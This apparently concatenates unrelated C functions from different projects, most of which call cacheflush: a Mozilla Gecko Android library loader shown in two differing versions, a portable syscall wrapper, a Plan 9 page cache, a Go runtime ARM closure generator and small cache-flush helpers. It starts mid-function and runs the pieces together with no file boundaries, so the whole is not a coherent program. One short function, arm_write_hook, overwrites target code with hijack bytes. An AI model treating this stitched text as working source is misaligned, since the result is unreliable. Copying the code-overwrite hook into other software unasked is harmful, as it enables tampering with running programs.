Z_FINISH) != Z_STREAM_END) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflate failed: %s", strm.msg); if (strm.total_out != size) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "extracted %d, expected %d!", strm.total_out, size); ret = inflateEnd(&strm); if (ret != Z_OK) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateEnd failed: %s", strm.msg); close(fd); #ifdef ANDROID_ARM_LINKER /* We just extracted data that is going to be executed in the future. * We thus need to ensure Instruction and Data cache coherency. */ cacheflush((unsigned) buf, (unsigned) buf + size, 0); #endif munmap(buf, size); } static void extractLib(const struct cdir_entry *entry, void * data, void * dest) { z_stream strm = { next_in: (Bytef *)data, avail_in: letoh32(entry->compressed_size), total_in: 0, next_out: (Bytef *)dest, avail_out: letoh32(entry->uncompressed_size), total_out: 0 }; int ret; ret = inflateInit2(&strm, -MAX_WBITS); if (ret != Z_OK) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateInit failed: %s", strm.msg); ret = inflate(&strm, Z_SYNC_FLUSH); if (ret != Z_STREAM_END) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflate failed: %s", strm.msg); ret = inflateEnd(&strm); if (ret != Z_OK) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateEnd failed: %s", strm.msg); if (strm.total_out != letoh32(entry->uncompressed_size)) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "File not fully uncompressed! %d / %d", strm.total_out, letoh32(entry->uncompressed_size)); }
bool MappableSeekableZStream::ensure(const void *addr) { debug("ensure @%p", addr); void *addrPage = reinterpret_cast<void *> (reinterpret_cast<uintptr_t>(addr) & PAGE_MASK); /* Find the mapping corresponding to the given page */ std::vector<LazyMap>::iterator map; for (map = lazyMaps.begin(); map < lazyMaps.end(); ++map) { if (map->Contains(addrPage)) break; } if (map == lazyMaps.end()) return false; /* Find corresponding chunk */ off_t mapOffset = map->offsetOf(addrPage); off_t chunk = mapOffset / zStream.GetChunkSize(); /* In the typical case, we just need to decompress the chunk entirely. But * when the current mapping ends in the middle of the chunk, we want to * stop there. However, if another mapping needs the last part of the * chunk, we still need to continue. As mappings are ordered by offset * and length, we don't need to scan the entire list of mappings. * It is safe to run through lazyMaps here because the linker is never * going to call mmap (which adds lazyMaps) while this function is * called. */ size_t length = zStream.GetChunkSize(chunk); off_t chunkStart = chunk * zStream.GetChunkSize(); off_t chunkEnd = chunkStart + length; std::vector<LazyMap>::iterator it; for (it = map; it < lazyMaps.end(); ++it) { if (chunkEnd <= it->endOffset()) break; } if ((it == lazyMaps.end()) || (chunkEnd > it->endOffset())) { /* The mapping "it" points at now is past the interesting one */ --it; length = it->endOffset() - chunkStart; } AutoLock lock(&mutex); /* The very first page is mapped and accessed separately of the rest, and * as such, only the first page of the first chunk is decompressed this way. * When we fault in the remaining pages of that chunk, we want to decompress * the complete chunk again. Short of doing that, we would end up with * no data between PAGE_SIZE and chunkSize, which would effectively corrupt * symbol resolution in the underlying library. */ if (chunkAvail[chunk] < (length + PAGE_SIZE - 1) / PAGE_SIZE) { if (!zStream.DecompressChunk(*buffer + chunkStart, chunk, length)) return false; #if defined(ANDROID) && defined(__arm__) if (map->prot & PROT_EXEC) { /* We just extracted data that may be executed in the future. * We thus need to ensure Instruction and Data cache coherency. */ debug("cacheflush(%p, %p)", *buffer + chunkStart, *buffer + (chunkStart + length)); cacheflush(reinterpret_cast<uintptr_t>(*buffer + chunkStart), reinterpret_cast<uintptr_t>(*buffer + (chunkStart + length)), 0); } #endif /* Only count if we haven't already decompressed parts of the chunk */ if (chunkAvail[chunk] == 0) chunkAvailNum++; chunkAvail[chunk] = (length + PAGE_SIZE - 1) / PAGE_SIZE; } /* Flip the chunk mapping protection to the recorded flags. We could * also flip the protection for other mappings of the same chunk, * but it's easier to skip that and let further segfaults call * ensure again. */ const void *chunkAddr = reinterpret_cast<const void *> (reinterpret_cast<uintptr_t>(addrPage) - mapOffset % zStream.GetChunkSize()); const void *chunkEndAddr = reinterpret_cast<const void *> (reinterpret_cast<uintptr_t>(chunkAddr) + length); const void *start = std::max(map->addr, chunkAddr); const void *end = std::min(map->end(), chunkEndAddr); length = reinterpret_cast<uintptr_t>(end) - reinterpret_cast<uintptr_t>(start); debug("mprotect @%p, 0x%" PRIxSize ", 0x%x", start, length, map->prot); if (mprotect(const_cast<void *>(start), length, map->prot) == 0) return true; log("mprotect failed"); return false; }
inline void arm_write_hook ( void *target, char *code ) { memcpy(target, code, HIJACK_SIZE); cacheflush(target, HIJACK_SIZE); }
int WRAP(syscall)(int portable_number, ...) { va_list ap; int native_number, ret; int i, nargs, args[MAXARGS]; ALOGV(" "); ALOGV("%s(portable_number:%d, ...) {", __func__, portable_number); switch (portable_number) { #ifdef __NR_add_key_portable case __NR_add_key_portable: native_number = __NR_add_key; break; #endif #ifdef __NR_cacheflush_portable case __NR_cacheflush_portable: { long start, end, flags; va_start(ap, portable_number); start = va_arg(ap, long); end = va_arg(ap, long); flags = va_arg(ap, long); va_end(ap); ret = cacheflush(start, end, flags); goto done; } #endif #ifdef __NR_capget_portable case __NR_capget_portable: native_number = __NR_capget; break; #endif #ifdef __NR_capset_portable case __NR_capset_portable: native_number = __NR_capset; break; #endif #ifdef __NR_clock_getres_portable case __NR_clock_getres_portable: native_number = __NR_clock_getres; break; #endif #ifdef __NR_clock_nanosleep case __NR_clock_nanosleep_portable: native_number = __NR_clock_nanosleep; break; #endif #ifdef __NR_dup3_portable case __NR_dup3_portable: native_number = __NR_dup3; break; #endif #ifdef __NR_epoll_create_portable case __NR_epoll_create_portable: native_number = __NR_epoll_create; break; #endif #ifdef __NR_epoll_create1_portable case __NR_epoll_create1_portable: native_number = __NR_epoll_create1; break; #endif #ifdef __NR_eventfd_portable /* * Prior to 2.6.27 we only had this system call, * which didn't have a flags argument. The kernel * just provides a zero for flags when this system * call number is used. */ case __NR_eventfd_portable: { unsigned int initval; /* 64-bit counter initial value */ int flags = 0; va_start(ap, portable_number); initval = va_arg(ap, int); va_end(ap); ret = WRAP(eventfd)(initval, flags); /* Android uses __NR_eventfd2 in eventfd() */ goto done; } #endif #ifdef __NR_eventfd2_portable /* * Starting with Linux 2.6.27 a flags argument was added. * Both Bionic and glibc implement the eventfd() now with * the additional flags argument. */ case __NR_eventfd2_portable: { unsigned int initval; /* 64-bit counter initial value */ int flags; va_start(ap, portable_number); initval = va_arg(ap, int); flags = va_arg(ap, int); va_end(ap); ret = WRAP(eventfd)(initval, flags); /* Android uses __NR_eventfd2 in eventfd() */ goto done; } #endif #ifdef __NR_exit_group_portable case __NR_exit_group_portable: native_number = __NR_exit_group; break; #endif #ifdef __NR_faccessat_portable case __NR_faccessat_portable: native_number = __NR_faccessat; break; #endif #ifdef __NR_fallocate_portable case __NR_fallocate_portable: native_number = __NR_fallocate; break; #endif #ifdef __NR_fchmodat_portable case __NR_fchmodat_portable: native_number = __NR_fchmodat; break; #endif #ifdef __NR_fchownat_portable case __NR_fchownat_portable: native_number = __NR_fchownat; break; #endif #ifdef __NR_fstatat64_portable case __NR_fstatat64_portable: native_number = __NR_fstatat64; break; #endif #ifdef __NR_futimesat_portable case __NR_futimesat_portable: native_number = __NR_futimesat; break; #endif #ifdef __NR_getegid_portable case __NR_getegid_portable: native_number = __NR_getegid; break; #endif #ifdef __NR_geteuid_portable case __NR_geteuid_portable: native_number = __NR_geteuid; break; #endif #ifdef __NR_getgid_portable case __NR_getgid_portable: native_number = __NR_getgid; break; #endif #ifdef __NR_get_mempolicy_portable case __NR_get_mempolicy_portable: native_number = __NR_get_mempolicy; break; #endif #ifdef __NR_get_robust_list_portable case __NR_get_robust_list_portable: native_number = __NR_get_robust_list; break; #endif #ifdef __NR_gettid_portable case __NR_gettid_portable: native_number = __NR_gettid; break; #endif #ifdef __NR_gettimeofday_portable case __NR_gettimeofday_portable: native_number = __NR_gettimeofday; break; #endif #ifdef __NR_getuid_portable case __NR_getuid_portable: native_number = __NR_getuid; break; #endif #ifdef __NR_inotify_init_portable case __NR_inotify_init_portable: native_number = __NR_inotify_init; break; #endif #ifdef __NR_inotify_add_watch_portable case __NR_inotify_add_watch_portable: native_number = __NR_inotify_add_watch; break; #endif #ifdef __NR_inotify_init1_portable case __NR_inotify_init1_portable: { int portable_flags; va_start(ap, portable_number); portable_flags = va_arg(ap, int); va_end(ap); ret = WRAP(inotify_init1)(portable_flags); goto done; } #endif #ifdef __NR_keyctl_portable case __NR_keyctl_portable: native_number = __NR_keyctl; break; #endif #ifdef __NR_linkat case __NR_linkat_portable: native_number = __NR_linkat; break; #endif #ifdef __NR_mbind_portable case __NR_mbind_portable: native_number = __NR_mbind; break; #endif #ifdef __NR_mkdirat_portable case __NR_mkdirat_portable: native_number = __NR_mkdirat; break; #endif #ifdef __NR_mknodat_portable case __NR_mknodat_portable: native_number = __NR_mknodat; break; #endif #ifdef __NR_openat_portable case __NR_openat_portable: native_number = __NR_openat; break; #endif #ifdef __NR_pipe2_portable case __NR_pipe2_portable: { int *pipefd_ptr; int portable_flags; va_start(ap, portable_number); pipefd_ptr = va_arg(ap, int *); portable_flags = va_arg(ap, int); va_end(ap); ret = WRAP(pipe2)(pipefd_ptr, portable_flags); goto done; } #endif #ifdef __NR_readahead_portable case __NR_readahead_portable: native_number = __NR_readahead; break; #endif #ifdef __NR_readlinkat_portable case __NR_readlinkat_portable: native_number = __NR_readlinkat; break; #endif #ifdef __NR_renameat_portable case __NR_renameat_portable: native_number = __NR_renameat; break; #endif #ifdef __NR_rt_sigaction_portable case __NR_rt_sigaction_portable: { int sig; struct sigaction_portable *act; struct sigaction_portable *oact; size_t sigsetsize; va_start(ap, portable_number); sig = va_arg(ap, int); act = va_arg(ap, struct sigaction_portable *); oact = va_arg(ap, struct sigaction_portable *); sigsetsize = va_arg(ap, size_t); va_end(ap); return WRAP(__rt_sigaction)(sig, act, oact, sigsetsize); } #endif #ifdef __NR_rt_sigprocmask_portable case __NR_rt_sigprocmask_portable: { int how; const sigset_portable_t *set; sigset_portable_t *oset; size_t sigsetsize; va_start(ap, portable_number); how = va_arg(ap, int); set = va_arg(ap, sigset_portable_t *); oset = va_arg(ap, sigset_portable_t *); sigsetsize = va_arg(ap, size_t); va_end(ap); ret = WRAP(__rt_sigprocmask)(how, set, oset, sigsetsize); goto done; } #endif #ifdef __NR_rt_sigtimedwait_portable case __NR_rt_sigtimedwait_portable: { const sigset_portable_t *set; siginfo_portable_t *info; const struct timespec *timeout; size_t sigsetsize; va_start(ap, portable_number); set = va_arg(ap, sigset_portable_t *); info = va_arg(ap, siginfo_portable_t *); timeout = va_arg(ap, struct timespec *); sigsetsize = va_arg(ap, size_t); va_end(ap); ret = WRAP(__rt_sigtimedwait)(set, info, timeout, sigsetsize); goto done; } #endif #ifdef __NR_rt_sigqueueinfo_portable case __NR_rt_sigqueueinfo_portable: { pid_t pid; int sig; siginfo_portable_t *uinfo; va_start(ap, portable_number); pid = va_arg(ap, pid_t); sig = va_arg(ap, int); uinfo = va_arg(ap, siginfo_portable_t *); va_end(ap); ret = WRAP(rt_sigqueueinfo)(pid, sig, uinfo); goto done; } #endif #ifdef __NR_setgid_portable case __NR_setgid_portable: native_number = __NR_setgid; break; #endif #ifdef __NR_set_mempolicy_portable case __NR_set_mempolicy_portable: native_number = __NR_set_mempolicy; break; #endif #ifdef __NR_set_robust_list_portable case __NR_set_robust_list_portable: native_number = __NR_set_robust_list; break; #endif #ifdef __NR_set_tid_address_portable case __NR_set_tid_address_portable: native_number = __NR_set_tid_address; break; #endif #ifdef __NR_sgetmask_portable case __NR_sgetmask_portable: native_number = __NR_sgetmask; break; #endif #ifdef __NR_signalfd4_portable case __NR_signalfd4_portable: { int fd; sigset_portable_t *portable_sigmask; int sigsetsize; int flags; va_start(ap, portable_number); fd = va_arg(ap, int); portable_sigmask = va_arg(ap, sigset_portable_t *); sigsetsize = va_arg(ap, int); flags = va_arg(ap, int); va_end(ap); ret = do_signalfd4_portable(fd, (const sigset_portable_t *) portable_sigmask, sigsetsize, flags); goto done; } #endif #ifdef __NR_socketcall_portable case __NR_socketcall_portable: native_number = __NR_socketcall; break; #endif #ifdef __NR_splice_portable case __NR_splice_portable: native_number = __NR_splice; break; #endif /* REMIND - DOUBLE CHECK THIS ONE */ #ifdef __NR_ssetmask_portable case __NR_ssetmask_portable: native_number = __NR_ssetmask; break; #endif #ifdef __NR_swapoff_portable case __NR_swapoff_portable: native_number = __NR_swapoff; break; #endif #ifdef __NR_swapon_portable case __NR_swapon_portable: native_number = __NR_swapon; break; #endif #ifdef __NR_symlinkat_portable case __NR_symlinkat_portable: native_number = __NR_symlinkat; break; #endif /* * ARM uses the new, version 2, form of sync_file_range() which * doesn't waste 32 bits between the 32 bit arg and the 64 bit arg. * It does this by moving the last 32 bit arg and placing it with * the 1st 32 bit arg. * * Here's the trivial mapping function in the kernel ARM code: * * sync_file_range2(int fd, unsigned int flags, loff_t offset, loff_t nbytes) { * return sys_sync_file_range(fd, offset, nbytes, flags); * } * * For portability we have to do a similar mapping for the native/MIPS system * call but have to provide the alignment padding expected by the sync_file_range() * system call. We avoid alignment issues while using varargs by avoiding the use * of 64 bit args. */ #if defined( __NR_arm_sync_file_range_portable) case __NR_arm_sync_file_range_portable: native_number = __NR_sync_file_range; { int fd; int flags; int offset_low, offset_high; int nbytes_low, nbytes_high; int align_fill = 0; va_start(ap, portable_number); fd = va_arg(ap, int); flags = va_arg(ap, int); offset_low = va_arg(ap, int); offset_high = va_arg(ap, int); nbytes_low = va_arg(ap, int); nbytes_high = va_arg(ap, int); va_end(ap); ALOGV("%s: Calling syscall(native_number:%d:'sync_file_range', fd:%d, " "align_fill:0x%x, offset_low:0x%x, offset_high:0x%x, " "nbytes_low:0x%x, nbytes_high:0x%x, flags:0x%x);", __func__, native_number, fd, align_fill, offset_low, offset_high, nbytes_low, nbytes_high, flags); ret = REAL(syscall)(native_number, fd, align_fill, offset_low, offset_high, nbytes_low, nbytes_high, flags); goto done; } #endif #ifdef __NR__sysctl_portable case __NR__sysctl_portable: native_number = __NR__sysctl; break; #endif #ifdef __NR_sysfs_portable case __NR_sysfs_portable: native_number = __NR_sysfs; break; #endif #ifdef __NR_syslog_portable case __NR_syslog_portable: native_number = __NR_syslog; break; #endif #ifdef __NR_tee_portable case __NR_tee_portable: native_number = __NR_tee; break; #endif #ifdef __NR_timer_create_portable case __NR_timer_create_portable: { clockid_t clockid; struct sigevent *evp; timer_t *timerid; va_start(ap, portable_number); clockid = va_arg(ap, clockid_t); evp = va_arg(ap, struct sigevent *); timerid = va_arg(ap, timer_t *); va_end(ap); ret = WRAP(timer_create)(clockid, evp, timerid); goto done; } #endif #ifdef __NR_timerfd_create_portable case __NR_timerfd_create_portable: { int clockid; int flags; va_start(ap, portable_number); clockid = va_arg(ap, int); /* clockid is portable */ flags = va_arg(ap, int); /* flags need to be mapped */ va_end(ap); ret = WRAP(timerfd_create)(clockid, flags); goto done; } #endif #ifdef __NR_timerfd_gettime_portable case __NR_timerfd_gettime_portable: native_number = __NR_timerfd_gettime; break; #endif #ifdef __NR_timerfd_settime_portable case __NR_timerfd_settime_portable: native_number = __NR_timerfd_settime; break; #endif #ifdef __NR_timer_getoverrun_portable case __NR_timer_getoverrun_portable: native_number = __NR_timer_getoverrun; break; #endif #ifdef __NR_timer_gettime_portable case __NR_timer_gettime_portable: native_number = __NR_timer_gettime; break; #endif #ifdef __NR_timer_settime_portable case __NR_timer_settime_portable: native_number = __NR_timer_settime; break; #endif #ifdef __NR_rt_tgsigqueueinfo_portable case __NR_rt_tgsigqueueinfo_portable: { pid_t tgid; pid_t pid; int sig; siginfo_portable_t *uinfo; va_start(ap, portable_number); tgid = va_arg(ap, pid_t); pid = va_arg(ap, pid_t); sig = va_arg(ap, int); uinfo = va_arg(ap, siginfo_portable_t *); va_end(ap); ret = WRAP(rt_tgsigqueueinfo)(tgid, pid, sig, uinfo); goto done; } #endif #ifdef __NR_tkill_portable case __NR_tkill_portable: { int tid, sig; va_start(ap, portable_number); tid = va_arg(ap, int); sig = va_arg(ap, int); va_end(ap); ret = WRAP(tkill)(tid, sig); goto done; } #endif #ifdef __NR_uname_portable case __NR_uname_portable: native_number = __NR_uname; break; #endif #ifdef __NR_vmsplice_portable case __NR_vmsplice_portable: native_number = __NR_vmsplice; break; #endif default: ALOGV("%s(portable_number:%d, ...): case default; native_number = -1; " "[ERROR: ADD MISSING SYSTEM CALL]", __func__, portable_number); native_number = -1; break; } ALOGV("%s: native_number = %d", __func__, native_number); if (native_number <= 0) { ALOGV("%s: native_number:%d <= 0; ret = -1; [ERROR: FIX SYSTEM CALL]", __func__, native_number); *REAL(__errno)() = ENOSYS; ret = -1; goto done; } /* * Get the argument list * This is pretty crappy: * It assumes that the portable and native arguments are compatible * It assumes that no more than MAXARGS arguments are passed * * Possible changes: * o include the argument count for each mapped system call * o map the syscall into the equivalent library call: * eg syscall(__NR_gettimeofday_portable, struct timeval *tv, struct timezone *tz) => * gettimeofday(struct timeval *tv, struct timezone *tz) * * second option is probably best as it allows argument remapping to take place if needed * */ va_start(ap, portable_number); /* For now assume all syscalls take MAXARGS arguments. */ nargs = MAXARGS; for (i = 0; i < nargs; i++) args[i] = va_arg(ap, int); va_end(ap); ALOGV("%s: Calling syscall(%d, %d, %d, %d, %d, %d, %d, %d, %d);", __func__, native_number, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]); ret = REAL(syscall)(native_number, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]); done: if (ret == -1) { ALOGV("%s: ret == -1; errno:%d;", __func__, *REAL(__errno)()); } ALOGV("%s: return(ret:%d); }", __func__, ret); return ret; }
static void * mozload(const char * path, void *zip, struct cdir_entry *cdir_start, uint16_t cdir_entries) { #ifdef DEBUG struct timeval t0, t1; gettimeofday(&t0, 0); #endif struct cdir_entry *entry = find_cdir_entry(cdir_start, cdir_entries, path); struct local_file_header *file = (struct local_file_header *)((char *)zip + letoh32(entry->offset)); void * data = ((char *)&file->data) + letoh16(file->filename_size) + letoh16(file->extra_field_size); void * handle; if (extractLibs) { char fullpath[PATH_MAX]; snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "resolved %s to %s", path, fullpath); extractFile(fullpath, entry, data); handle = __wrap_dlopen(fullpath, RTLD_LAZY); if (!handle) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", fullpath, __wrap_dlerror()); #ifdef DEBUG gettimeofday(&t1, 0); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) - (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec)); #endif return handle; } size_t offset = letoh32(entry->offset) + sizeof(*file) + letoh16(file->filename_size) + letoh16(file->extra_field_size); bool skipLibCache = false; int fd = zip_fd; void * buf = NULL; uint32_t lib_size = letoh32(entry->uncompressed_size); int cache_fd = 0; if (letoh16(file->compression) == DEFLATE) { cache_fd = lookupLibCacheFd(path); fd = cache_fd; if (fd < 0) { char fullpath[PATH_MAX]; snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path); fd = open(fullpath, O_RDWR); struct stat status; if (stat(fullpath, &status) || status.st_size != lib_size || apk_mtime > status.st_mtime) { unlink(fullpath); fd = -1; } else { cache_fd = fd; addLibCacheFd(path, fd); } } if (fd < 0) fd = createAshmem(lib_size, path); #ifdef DEBUG else __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s from cache", path); #endif if (fd < 0) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open " ASHMEM_NAME_DEF ", Error %d, %s, using a file", errno, strerror(errno)); char fullpath[PATH_MAX]; snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path); fd = open(fullpath, O_RDWR | O_CREAT); if (fd < 0) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't create a file either, giving up"); return NULL; } // we'd like to use fallocate here, but it doesn't exist currently? if (lseek(fd, lib_size - 1, SEEK_SET) == (off_t) - 1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "seeking file failed"); close(fd); return NULL; } if (write(fd, "", 1) != 1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "writting one byte to the file failed"); close(fd); return NULL; } skipLibCache = true; addLibCacheFd(path, fd); } buf = mmap(NULL, lib_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (buf == (void *)-1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer"); close(fd); return NULL; } offset = 0; if (cache_fd < 0) { extractLib(entry, data, buf); #ifdef ANDROID_ARM_LINKER /* We just extracted data that is going to be executed in the future. * We thus need to ensure Instruction and Data cache coherency. */ cacheflush((unsigned) buf, (unsigned) buf + entry->uncompressed_size, 0); #endif if (!skipLibCache) addLibCacheFd(path, fd, lib_size, buf); } // preload libxul, to avoid slowly demand-paging it if (!strcmp(path, "libxul.so")) madvise(buf, entry->uncompressed_size, MADV_WILLNEED); data = buf; } #ifdef DEBUG __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s with len %d (0x%08x) and offset %d (0x%08x)", path, lib_size, lib_size, offset, offset); #endif handle = moz_mapped_dlopen(path, RTLD_LAZY, fd, data, lib_size, offset); if (!handle) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", path, __wrap_dlerror()); // if we're extracting the libs to disk and cache_fd is not valid then // keep this buffer around so it can be used to write to disk if (buf && (!extractLibs || cache_fd >= 0)) munmap(buf, lib_size); #ifdef DEBUG gettimeofday(&t1, 0); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) - (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec)); #endif return handle; }
void md_icacheflush(u1* addr, s4 nbytes) { cacheflush(addr, FLUSH_SCOPE_LINE, FLUSH_CACHE_INSN, nbytes); }
void md_dcacheflush(u1 *addr, s4 nbytes) { cacheflush(addr, FLUSH_SCOPE_PAGE, FLUSH_CACHE_DATA, nbytes); }
static Image* _cachedpage(Document *doc, int angle, int page, char *ra) { int i; Cached *c, old; Image *im, *tmp; if((page < 0 || page >= doc->npage) && !doc->fwdonly) return nil; Again: for(i=0; i<nelem(cache); i++){ c = &cache[i]; if(c->doc == doc && c->angle == angle && c->page == page){ if(chatty) fprint(2, "cache%s hit %d\n", ra, page); goto Found; } if(c->doc == nil) break; } if(i >= nelem(cache)) i = nelem(cache)-1; c = &cache[i]; if(c->im) freeimage(c->im); c->im = nil; c->doc = nil; c->page = -1; if(chatty) fprint(2, "cache%s load %d\n", ra, page); im = doc->drawpage(doc, page); if(im == nil){ if(doc->fwdonly) /* end of file */ wexits(0); im = questionmark(); if(im == nil){ Flush: if(i > 0){ cacheflush(); goto Again; } fprint(2, "out of memory: %r\n"); wexits("memory"); } return im; } if(im->r.min.x != 0 || im->r.min.y != 0){ /* translate to 0,0 */ tmp = xallocimage(display, Rect(0, 0, Dx(im->r), Dy(im->r)), im->chan, 0, DNofill); if(tmp == nil){ freeimage(im); goto Flush; } drawop(tmp, tmp->r, im, nil, im->r.min, S); freeimage(im); im = tmp; } switch(angle){ case 90: im = rot90(im); break; case 180: rot180(im); break; case 270: im = rot270(im); break; } if(im == nil) goto Flush; c->doc = doc; c->page = page; c->angle = angle; c->im = im; Found: if(chatty) fprint(2, "cache%s mtf %d @%d:", ra, c->page, i); old = *c; memmove(cache+1, cache, (c-cache)*sizeof cache[0]); cache[0] = old; if(chatty){ for(i=0; i<nelem(cache); i++) fprint(2, " %d", cache[i].page); fprint(2, "\n"); } if(chatty) fprint(2, "cache%s return %d %p\n", ra, old.page, old.im); return old.im; }
void runtime·closure(int32 siz, byte *fn, byte *arg0) { byte *p, *q, **ret; uint32 *pc; int32 n; if(siz < 0 || siz%4 != 0) runtime·throw("bad closure size"); ret = (byte**)((byte*)&arg0 + siz); if(siz > 100) { // TODO(kaib): implement stack growth preamble? runtime·throw("closure too big"); } // size of new fn. // must match code laid out below. if (siz > 0) n = 6 * 4 + 7 * 4; else n = 6 * 4; // store args aligned after code, so gc can find them. n += siz; p = runtime·mal(n); *ret = p; q = p + n - siz; pc = (uint32*)p; // MOVW.W R14,-frame(R13) *pc++ = 0xe52de000 | (siz + 4); if(siz > 0) { runtime·mcpy(q, (byte*)&arg0, siz); // MOVW $vars(PC), R0 *pc = 0xe28f0000 | (int32)(q - (byte*)pc - 8); pc++; // MOVW $4(SP), R1 *pc++ = 0xe28d1004; // MOVW $siz(R0), R3 *pc++ = 0xe2803000 | siz; // MOVW.P 4(R0), R4 *pc++ = 0xe4904004; // MOVW.P R4, 4(R1) *pc++ = 0xe4814004; // CMP R0, R3 *pc++ = 0xe1530000; // BNE loop *pc++ = 0x1afffffb; } // MOVW fptr(PC), R0 *pc = 0xe59f0008 | (int32)((q - 4) -(byte*) pc - 8); pc++; // BL (R0) *pc++ = 0xe28fe000; *pc++ = 0xe280f000; // MOVW.P frame(R13),R15 *pc++ = 0xe49df000 | (siz + 4); // WORD *fn *pc++ = (uint32)fn; p = (byte*)pc; if(p > q) runtime·throw("bad math in sys.closure"); runtime·cacheflush(*ret, q+siz); }
void entre_executable_flush(void) { cacheflush(Executable.pCodeStart, Executable.pCodeEnd-Executable.pCodeStart, ICACHE); }
static void * mozload(const char * path, void *zip, struct cdir_entry *cdir_start, uint16_t cdir_entries) { #ifdef DEBUG struct timeval t0, t1; gettimeofday(&t0, 0); #endif struct cdir_entry *entry = find_cdir_entry(cdir_start, cdir_entries, path); struct local_file_header *file = (struct local_file_header *)((char *)zip + letoh32(entry->offset)); void * data = ((char *)&file->data) + letoh16(file->filename_size) + letoh16(file->extra_field_size); void * handle; if (extractLibs) { char fullpath[PATH_MAX]; snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "resolved %s to %s", path, fullpath); extractFile(fullpath, entry, data); handle = __wrap_dlopen(fullpath, RTLD_LAZY); if (!handle) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", fullpath, __wrap_dlerror()); #ifdef DEBUG gettimeofday(&t1, 0); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) - (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec)); #endif return handle; } size_t offset = letoh32(entry->offset) + sizeof(*file) + letoh16(file->filename_size) + letoh16(file->extra_field_size); bool skipLibCache = false; int fd = zip_fd; void * buf = NULL; uint32_t lib_size = letoh32(entry->uncompressed_size); int cache_fd = 0; if (letoh16(file->compression) == DEFLATE) { cache_fd = lookupLibCacheFd(path); fd = cache_fd; if (fd < 0) fd = createAshmem(lib_size, path); #ifdef DEBUG else __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s from cache", path); #endif if (fd < 0) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open " ASHMEM_NAME_DEF ", Error %d, %s, bailing out", errno, strerror(errno)); return NULL; } buf = mmap(NULL, lib_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (buf == (void *)-1) { __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer"); close(fd); return NULL; } offset = 0; if (cache_fd < 0) { extractLib(entry, data, buf); #ifdef ANDROID_ARM_LINKER /* We just extracted data that is going to be executed in the future. * We thus need to ensure Instruction and Data cache coherency. */ cacheflush((unsigned) buf, (unsigned) buf + entry->uncompressed_size, 0); #endif addLibCacheFd(path, fd, lib_size, buf); } // preload libxul, to avoid slowly demand-paging it if (!strcmp(path, "libxul.so")) madvise(buf, entry->uncompressed_size, MADV_WILLNEED); data = buf; } #ifdef DEBUG __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s with len %d (0x%08x) and offset %d (0x%08x)", path, lib_size, lib_size, offset, offset); #endif handle = moz_mapped_dlopen(path, RTLD_LAZY, fd, data, lib_size, offset); if (!handle) __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", path, __wrap_dlerror()); if (buf) munmap(buf, lib_size); #ifdef DEBUG gettimeofday(&t1, 0); __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) - (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec)); #endif return handle; }
void clear_insn_cache(void* start, void* end, int flags) { cacheflush(start, end-start, ICACHE); }